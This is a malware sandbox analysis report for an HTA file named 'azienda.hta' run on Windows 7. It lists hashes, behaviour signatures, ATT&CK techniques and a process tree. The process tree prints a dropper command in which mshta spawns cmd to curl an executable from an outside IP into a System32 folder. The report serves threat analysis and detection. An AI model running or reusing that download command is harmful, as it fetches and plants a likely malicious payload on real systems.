7590f4c3928e025b274b13e945cf2896d84b49c812ead01204f2a2303e0a59d3

Analysis

max time kernel
28s
max time network
31s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
01/03/2023, 16:09

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General

Target

azienda.hta
Size

7KB
MD5

f8bb2a440466e90f9ae60c4e06ee539c
SHA1

fe9e57b0245c6fb43a87ecf29bd07aea91d0b270
SHA256

7590f4c3928e025b274b13e945cf2896d84b49c812ead01204f2a2303e0a59d3
SHA512

82830264dd3891af4ef5cf6af8d2094f70416f5ce323e5ea96ad9d2a2b9bef99d6a4d6a84c9e59a3434c7c51f0b5d349766a5e331a861b43a21714da10bb6260
SSDEEP

96:SPLY0B6XNEbJpEl0EJjAr3BZE5S4dwatxC5WLSYLw9RKUzlnoi594N0M+Q0AK/Hn:SjYC6GFpa6r/TC7QuMVnoiD00MC2Kb9

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 832	1100	mshta.exe	26
PID 1100 wrote to memory of 832	1100	mshta.exe	26
PID 1100 wrote to memory of 832	1100	mshta.exe	26
PID 1100 wrote to memory of 832	1100	mshta.exe	26

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl http://191.101.2.39/installazione.exe -o C:\Windows\\System32\\LogFiles\\login.exe
  2⤵
  PID:832

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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